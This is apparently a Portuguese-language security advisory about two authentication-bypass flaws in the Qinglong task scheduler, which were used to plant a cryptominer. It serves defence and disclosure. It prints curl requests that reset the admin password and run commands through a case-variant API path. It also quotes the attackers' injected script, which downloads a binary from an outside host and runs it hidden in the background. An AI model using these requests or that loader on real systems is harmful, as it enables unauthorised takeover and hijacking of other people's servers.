Vulnerabilidades de RCE no agendador de tarefas Qinglong são exploradas para mineração de criptomoedas

No início de fevereiro de 2026, usuários do Qinglong (青龙), uma popular plataforma open source de gerenciamento de tarefas agendadas com mais de 19 mil estrelas no GitHub, começaram a relatar que seus servidores estavam usando a CPU ao máximo. A causa era um binário de mineração de criptomoedas chamado .fullgc, instalado por meio de duas vulnerabilidades de bypass de autenticação que permitiam a execução remota de código sem autenticação.

Os ataques passaram praticamente despercebidos pela comunidade de segurança de língua inglesa. Mas, nos fóruns de desenvolvedores chineses e nas issues do GitHub, o cenário era claro: invasores exploravam painéis Qinglong acessíveis publicamente para instalar mineradores de criptomoedas.

Linha do tempo

O que é Qinglong?

Qinglong é um painel auto-hospedado de agendamento de tarefas compatível com scripts em Python3, JavaScript, Shell e TypeScript. É amplamente usado pela comunidade chinesa de desenvolvedores para automatizar tarefas recorrentes, desde a coleta de dados até fluxos de notificação. O projeto está disponível como imagem Docker e como pacote npm (@whyour/qinglong).

Embora o número de downloads no npm seja baixo, o Docker é o principal canal de distribuição. As 19.400 estrelas e os 3.200 forks do projeto no GitHub refletem uma base significativa de usuários, sobretudo entre desenvolvedores de língua chinesa que o implantam em instâncias de VPS na nuvem e em servidores domésticos.

As vulnerabilidades

Duas vulnerabilidades distintas de bypass de autenticação foram relatadas em 27 de fevereiro de 2026. Ambas afetam a versão 2.20.1 do Qinglong e as anteriores. As duas já estão registradas no Snyk Vulnerability Database: SNYK-JS-WHYOURQINGLONG-15440732 e SNYK-JS-WHYOURQINGLONG-15468374.

Bypass de autenticação por reescrita de URL (CVE-2026-3965)

A primeira vulnerabilidade (CVE-2026-3965, GitHub Issue #2933) explora uma regra de reescrita de URL no middleware Express.js da aplicação. O Qinglong reescreve solicitações de /open/* para /api/$1, criando um caminho não previsto para acessar endpoints administrativos protegidos.

Um invasor poderia redefinir as credenciais de administrador com uma única solicitação sem autenticação:

1curl -X PUT "http://target:5700/open/user/init" \
2  -H "Content-Type: application/json" \
3  -d '{"username": "admin", "password": "attacker_password"}'

Depois de redefinir as credenciais, o invasor passava a ter controle total do painel, inclusive a capacidade de criar e executar scripts arbitrários.

Bypass de autenticação por correspondência de caminhos sensível a maiúsculas e minúsculas (CVE-2026-4047)

A segunda vulnerabilidade (CVE-2026-4047, GitHub Issue #2934) permite RCE sem autenticação e sem exigir a redefinição de senha. O middleware de autenticação usa uma correspondência de strings sensível a maiúsculas e minúsculas (req.path.startsWith('/api/')) para identificar rotas protegidas. Porém, o próprio Express.js trata as rotas sem diferenciar maiúsculas de minúsculas. Ao solicitar /aPi/system/command-run em vez de /api/system/command-run, é possível ignorar totalmente a verificação de autenticação e ainda chegar ao endpoint de execução de comandos:

1curl -X PUT "http://target:5700/aPi/system/command-run" \
2  -H "Content-Type: application/json" \
3  -d '{"command": "id"}'

Isso permite a execução remota de código sem autenticação e sem precisar redefinir credenciais.

Um erro recorrente de projeto

As duas vulnerabilidades decorrem de uma divergência entre as premissas do middleware de segurança e o comportamento do framework. A camada de autenticação presumiu que determinados padrões de URL sempre seriam tratados de uma forma, enquanto o Express.js os tratava de outra. Essa categoria de falha é bem conhecida na segurança de aplicações web: quando a lógica de autorização interpreta a solicitação de maneira diferente da camada de roteamento, é fácil abrir brechas. A Snyk já abordou em detalhes os padrões de controle de acesso inadequado no Express.js, e um bypass de autorização em middleware semelhante foi encontrado no Next.js (CVE-2025-29927), mostrando que essa classe de vulnerabilidade não se limita a um único framework.

A campanha de mineração de criptomoedas

Embora essas vulnerabilidades tenham sido relatadas oficialmente em 27 de fevereiro, a exploração já acontecia havia semanas. Por volta de 7 e 8 de fevereiro de 2026, usuários do Qinglong começaram a abrir issues sobre um processo oculto chamado .fullgc que consumia de 85% a 100% da CPU.

Como o ataque funcionava

Os invasores exploraram o bypass de autenticação para modificar o arquivo de configuração do Qinglong (config.sh) e injetar um script de shell que:

1. Baixava um binário específico para a plataforma de file.551911.xyz (compatível com Linux x86_64, ARM64 e macOS)

2. Salvava o arquivo oculto em /ql/data/db/.fullgc

3. Tornava o arquivo executável e o iniciava como processo em segundo plano, sem exibir a saída

4. Incluía uma lógica de persistência para reiniciar o minerador caso ele fosse encerrado

O código injetado era parecido com este:

1# Downloads binary from unofficial domain
2u="https://file.551911.xyz/fullgc/$(uname -s)_$(uname -m)"
3b="/ql/data/db/.fullgc"
4curl -fsSL -o "$b" "$u" && chmod +x "$b" && nohup "$b" >/dev/null 2>&1 &

O nome de arquivo .fullgc talvez tenha sido escolhido para se confundir com processos legítimos. Em ambientes Java/JVM, “Full GC” (coleta de lixo completa) é uma causa conhecida de picos de uso da CPU, o que poderia atrasar a investigação do administrador.

Dimensão do impacto

Vários usuários relataram infecções em diferentes configurações de implantação, inclusive em sistemas protegidos por proxies reversos Nginx com SSL. Provedores de nuvem, como a Alibaba Cloud (Aliyun), sinalizaram instâncias afetadas por atividade de mineração de criptomoedas. Pelo menos um usuário relatou que os invasores haviam comprometido seu painel de monitoramento Nezha pelo mesmo acesso, obtendo visibilidade sobre centenas de máquinas.

Na discussão da Issue #2926, a comunidade pediu ao mantenedor que publicasse um alerta no canal do projeto no Telegram, observando que usuários continuavam sendo comprometidos dias após os primeiros relatos.

Como a vulnerabilidade foi corrigida

A resposta inicial (PR #2924) se concentrou na validação de entradas: bloquear curl, wget, padrões de substituição de comandos e outros metacaracteres de shell nos campos de tarefas cron. Essa é uma medida de defesa em profundidade, mas trata a carga maliciosa específica, não o problema subjacente de controle de acesso. Vale notar que a PR #2924 nunca foi integrada. A correção real exigia resolver o bypass de autenticação na camada de middleware, o que foi feito na PR #2941.

Essa sequência mostra a abordagem correta. Quando uma aplicação está sendo explorada ativamente, é natural tentar bloquear a carga maliciosa observada. Mas, se a causa raiz for um bypass de autenticação, filtrar a carga não basta: os invasores simplesmente usarão outra. A decisão do mantenedor de priorizar a correção na camada de autenticação (PR #2941) em vez de bloquear a carga (PR #2924) reflete a prática correta de segurança: primeiro corrigir o problema de controle de acesso e, depois, considerar a validação de entradas como uma camada adicional de defesa.

Lições de segurança para aplicações auto-hospedadas

Este incidente destaca riscos que vão muito além do projeto Qinglong.

Audite sua cadeia de middleware

Se sua aplicação usa reescrita de URL ou autorização baseada em caminhos, verifique se o middleware de segurança e a camada de roteamento concordam sobre como classificar as solicitações. Diferenças entre maiúsculas e minúsculas, barras no final dos caminhos, codificação de URL e regras de reescrita são causas comuns de divergências. A lição do Snyk Learn sobre configurações incorretas de segurança de API aborda esses padrões com mais detalhes. Ferramentas como o Snyk Code podem ajudar a identificá-los nas suas próprias aplicações.

Trate painéis auto-hospedados como uma superfície de ataque

Qualquer aplicação web exposta à internet é um alvo, por mais específica que seja. Se ela tem uma API capaz de executar comandos, precisa de uma autenticação que realmente funcione. Considere proteger ferramentas auto-hospedadas com uma VPN ou um túnel SSH, em vez de expô-las diretamente.

Monitore o uso inesperado de recursos

A mineração de criptomoedas foi detectada principalmente devido à saturação da CPU. Se os invasores tivessem limitado o minerador a apenas 20% a 30% do uso da CPU, a detecção teria demorado muito mais. Use limites de recursos em contêineres e monitoramento para identificar comportamentos anormais logo no início.

Mantenha suas imagens Docker atualizadas

O Qinglong é implantado principalmente via Docker. Manter as imagens de contêiner atualizadas é essencial, sobretudo quando são lançadas correções de segurança. O guia da Snyk sobre 10 boas práticas de segurança para Docker aborda os fundamentos, e ferramentas como o Snyk Container monitoram continuamente suas imagens de contêiner em busca de vulnerabilidades conhecidas.

Verifique suas configurações

Se você usa o Qinglong ou já usou, procure sinais de comprometimento:

1# Check for the cryptominer binary
2ls -la /ql/data/db/.fullgc
3
4# Check config.sh for injected code
5grep -r "551911" /ql/data/config/
6grep -r "fullgc" /ql/data/config/
7
8# Check for unexpected background processes
9ps aux | grep fullgc

Se houve comprometimento, exclua os volumes Docker mapeados (não apenas o contêiner), remova o código malicioso de config.sh, recrie os contêineres a partir de uma imagem limpa e atualize para a versão mais recente.

O contexto mais amplo

As vulnerabilidades do Qinglong reforçam por que a segurança de código aberto exige atenção contínua. Um projeto pode ter milhares de estrelas e uma comunidade ativa e, ainda assim, manter falhas críticas de segurança na camada de autenticação por anos. Segundo relatos, o bypass de autenticação por roteamento sem distinção entre maiúsculas e minúsculas (Issue #2934) afetava todas as versões. Isso lembra o comprometimento da Ultralytics AI, em que invasores também aproveitaram o acesso a um projeto open source para instalar mineradores de criptomoedas.

Cargas maliciosas de mineração de criptomoedas exigem pouco esforço para serem implantadas e são difíceis de detectar, sobretudo em plataformas como agendadores de tarefas, que já executam scripts arbitrários por projeto. Para quem opera ferramentas auto-hospedadas, este incidente mostra na prática por que a exposição à rede, o projeto da autenticação e a disciplina de atualização são tão importantes.